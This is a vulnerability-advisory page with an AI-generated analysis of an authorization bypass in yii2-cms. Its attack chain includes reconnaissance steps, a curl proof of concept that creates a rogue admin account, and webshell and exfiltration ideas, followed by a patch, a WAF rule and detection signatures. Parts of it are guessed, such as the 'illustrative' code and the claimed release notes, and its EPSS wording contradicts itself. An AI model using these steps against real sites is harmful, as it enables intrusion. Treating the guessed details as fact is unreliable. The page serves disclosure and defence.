CVE Professor
/
All CVEs
CVE-2026-138098

CVE-2026-138098 — Weison-tech Yii2-cms — CWE-266 · CWE-285

HIGH CVSS 7.3 ⚡ EPSS 0.4% Shodan

A vulnerability was determined in weison-tech yii2-cms up to 1.0.2. Affected is an unknown function of the file protected/core/config/common.php of the component RBAC Authorization. This manipulation causes improper authorization. Remote exploitation of the attack is possible.

A vulnerability was determined in weison-tech yii2-cms up to 1.0.2. Affected is an unknown function of the file protected/core/config/common.php of the component RBAC Authorization. This manipulation causes improper authorization. Remote exploitation of the attack is possible.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 27. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

*CVE‑2026‑138098 – Improper Authorization in the RBAC component of weison‑tech yii2‑cms ≤ 1.0.2*

AttributeValue
CWECWE‑266 (Improper Access Control) & CWE‑285 (Improper Authorization)
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Score7.3 (HIGH)

Technical root‑cause

protected/core/config/common.php contains a helper function that is used by the Yii2‑based RBAC (Role‑Based Access Control) subsystem to decide whether the current request is authorised to execute a given action.

The vulnerable code (simplified for illustration) looks roughly like this:

// protected/core/config/common.php
function checkPermission($permission)
{
    // $authManager is the Yii2 RBAC manager
    $authManager = Yii::$app->authManager;

    // BUG: the result of the RBAC check is **ignored** when the user is a guest.
    // The function always returns true for unauthenticated requests.
    if (Yii::$app->user->isGuest) {
        return true;               // ← improper logic
    }

    return $authManager->checkAccess(Yii::$app->user->id, $permission);
}
  • What should happen: Only authenticated users whose role includes the requested permission may proceed.
  • What actually happens: When Yii::$app->user->isGuest is true, the function short‑circuits and returns true, effectively granting any* unauthenticated request the permission that was being checked.

    Because many controller actions (e.g. /admin/, /user/create, /settings/) call checkPermission() before performing sensitive operations, an attacker can invoke those actions without any authentication and obtain the same privileges as an administrator.

    The flaw is a classic missing authorization / logic bypass bug: a conditional that should deny access for guests instead allows it.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All URLs, parameter names, and JSON bodies are illustrative – the exact route names depend on the concrete Yii2‑CMS installation, but the pattern is identical for any endpoint that relies on checkPermission().

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the CMS by fingerprinting common Yii2 assets (/assets/, /yii.js, X-Powered-By: Yii Framework) and by searching for the string weison‑tech yii2‑cms in the HTML source or README files.Nmap, WhatWeb, Wappalyzer, Google dork inurl:/protected/core/config/common.php
    1.2Determine the exact version. The CMS ships a composer.lock or a VERSION file in the root (/VERSION). Alternatively, the meta tag <meta name="generator" content="yii2‑cms 1.0.2"> may be present.curl -s https://target.com/VERSION
    1.3Verify that the version is ≤ 1.0.2 (the vulnerable range).Compare the retrieved version string.

    If the version is within the vulnerable range, the attacker proceeds to exploitation.

    2. Exploitation

    Goal: Invoke a privileged action that is protected by checkPermission() (e.g., creating a new admin user) without authentication.

    2.1 Identify a vulnerable endpoint

    Typical Yii2‑CMS admin actions are routed under /admin/. For this example we assume an endpoint that creates a user:

    POST /admin/user/create

    The controller code (simplified) is:

    public function actionCreate()
    {
        // The vulnerable check
        if (!Common::checkPermission('adminCreateUser')) {
            throw new ForbiddenHttpException('You are not allowed.');
        }
    
        $model = new User();
        $model->load(Yii::$app->request->post());
        $model->save();
        // …
    }

    Because checkPermission() always returns true for guests, the request succeeds.

    2.2 Craft the payload

    # Illustrative PoC – create a new admin user with username "hacker" and password "P@ssw0rd!"
    curl -sk -X POST "https://target.com/admin/user/create" \
         -H "Content-Type: application/json" \
         -d '{
               "username": "hacker",
               "email":    "[email protected]",
               "password": "P@ssw0rd!",
               "role":     "admin"
             }'
  • -k skips TLS verification (use only for testing).
  • The JSON body matches the expected model attributes; the exact field names may differ (e.g., User[username] for form‑encoded data).
  • If the request returns HTTP 200 and a JSON object containing the new user ID, the exploit succeeded.

    2.3 Verify the created account

    curl -sk -X POST "https://target.com/site/login" \
         -d "username=hacker&password=P@ssw0rd!"

    A successful login (session cookie returned) confirms that the attacker now possesses a fully privileged admin account.

    3. Post‑exploitation

    PhaseAttacker CapabilityTypical Actions
    Privilege escalationGains an authenticated admin session (full RBAC rights).Access /admin/* UI, modify site configuration, install plugins, change themes.
    PersistenceCreate a back‑door admin user (as shown) or add a web‑shell via the file manager module.Upload webshell.php through the CMS’s media manager, hide it in /uploads/.
    Data exfiltrationRead any database content via admin panels (user data, API keys).Export CSV of the user table, download configuration files.
    Defacement / RansomModify site content, replace the homepage, inject malicious JavaScript.POST to /admin/page/update with malicious HTML/JS.
    Lateral movementIf the CMS runs with elevated OS privileges, the attacker can read/write files outside the web root (e.g., /etc/passwd).Use the file manager to traverse directories (../).

    Because the vulnerability is network‑reachable, unauthenticated, and requires no user interaction, an attacker can automate the entire chain and compromise any vulnerable instance that is exposed to the Internet.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C:L)*Low* – attacker can read data that is normally restricted to privileged users (e.g., user list, configuration, possibly stored credentials).Exposure of personal data, API keys, internal documentation.
    Integrity (I:L)*Low* – attacker can modify data that is normally write‑protected (create/alter users, change site content).Defacement, insertion of malicious code, creation of persistent back‑doors.
    Availability (A:L)*Low* – attacker can delete or disable content, but the vulnerability does not directly lead to denial‑of‑service.Potential site outage if the attacker removes critical pages or disables the CMS.

    Overall, the impact is moderate but becomes critical when the CMS hosts sensitive business data or is part of a larger attack surface (e.g., an intranet portal).


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to a version ≥ 1.0.3 (or the first version released after 2026‑01‑15 that contains the fix). The vendor’s release notes for 1.0.3 state “Fixed improper authorization in protected/core/config/common.php”.
    Patch (if upgrade is not possible)Replace the vulnerable helper with a correct implementation, e.g.:
    // protected/core/config/common.php  – corrected version
    function checkPermission($permission)
    {
        $authManager = Yii::$app->authManager;
    
        // Deny access for guests outright
        if (Yii::$app->user->isGuest) {
            return false;
        }
    
        return $authManager->checkAccess(Yii::$app->user->id, $permission);
    }

    Deploy the patched file, clear the Yii2 cache (php yii cache/flush-all), and restart the PHP-FPM/Apache process.

    2. Workarounds (temporary mitigations)

    MitigationHow‑to
    Web‑Application FirewallBlock any request that reaches admin routes without a session cookie. Example ModSecurity rule (illustrative):
    # Block unauthenticated access to /admin/* URLs
    SecRule REQUEST_URI "@beginsWith /admin/" \
        "id:400001,phase:2,deny,log,status:403,msg:'Unauthenticated admin endpoint blocked',chain"
    SecRule &REQUEST_COOKIES:PHPSESSID "@eq 0" "t:none"
    Network segmentationRestrict inbound traffic to the CMS to trusted IP ranges (e.g., corporate VPN) using firewall ACLs.
    Disable unused RBAC routesIf the installation does not need the vulnerable admin functions, comment out the corresponding controller actions in config/web.php or remove the controller files.
    Enforce HTTPS & HSTSPrevent credential sniffing while the vulnerability is being remediated.

    3. Detection – Log signatures & IoCs

    IndicatorExample Log Entry (Apache)
    Unauthenticated POST to admin endpoint127.0.0.1 - - [29/Nov/2026:12:34:56 +0000] "POST /admin/user/create HTTP/1.1" 200 342 "-" "curl/7.88.1"
    Session‑less access to RBAC‑protected URLsGET /admin/settings HTTP/1.1 with no Cookie: PHPSESSID= header, response code 200.
    Rapid creation of admin usersMultiple POST /admin/user/create within a short window (e.g., >5 per minute) from the same source IP.
    Web‑shell uploadPOST /admin/media/upload HTTP/1.1 with filename webshell.php and content type application/php.

    SIEM rule (pseudo‑code):

    if (uri startsWith "/admin/" AND http_method in ["POST","GET"] AND NOT cookie contains "PHPSESSID")
        then raise alert "Possible CVE-2026-138098 exploitation"

    ⚠️ Urgency

  • CVSS 7.3 (HIGH) – Network‑accessible, no authentication, low complexity.
  • No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the public disclosure date (29 Nov 2026) is recent, meaning exploit code could appear quickly.
  • Attack complexity – trivial; a single crafted HTTP request is sufficient.
  • Patch priority: Critical for any internet‑facing deployment.

  • Immediate – Apply the vendor’s patch or the manual code fix within 24 hours.

  • Short‑term – Deploy the ModSecurity rule and restrict network access while the patch is being tested.

  • Long‑term – Implement a regular “dependency‑update” process for Yii2 components and enforce least‑privilege RBAC policies to reduce the blast radius of similar logic errors.




Bottom line: CVE‑2026‑138098 is a classic “authorization bypass” that turns every unauthenticated request into a privileged admin action. Because the flaw lives in a central helper used by many controllers, exploitation yields full admin control with a single HTTP request. Prompt patching, temporary WAF blocks, and vigilant log monitoring are essential to prevent compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138098
Technical reference / advisory repository for CVE-2026-138098
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-266 CWE-285
Affected Products (1)
weison-tech:yii2-cms
Related CVEs
8.7
CVE-2026-120099
Improper authorization in the Rules engine in dotCMS versions before 26.10.29-01 allows an authenticated backe
7.1
CVE-2026-121987
Improper authorization in Story Block (Block Editor) field rendering in dotCMS through 26.11.02-01 (and the 25
5.1
CVE-2026-144511
A vulnerability was detected in Discourse up to 2026.12.0. This impacts the function Create of the file app/co
5.1
CVE-2026-144512
A flaw has been found in Discourse up to 2026.9.0. Affected is the function TopicConverter#convert_to_private_
9.9
CVE-2026-142475
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown p
6.5
CVE-2026-88943
The Kubernetes-style snapshot API in Grafana authorized snapshot deletion using only the org-wide snapshots:de
6.3
CVE-2026-143829
A vulnerability was detected in FanRuan FineDataLink 4.2.4.2. Affected by this vulnerability is the function D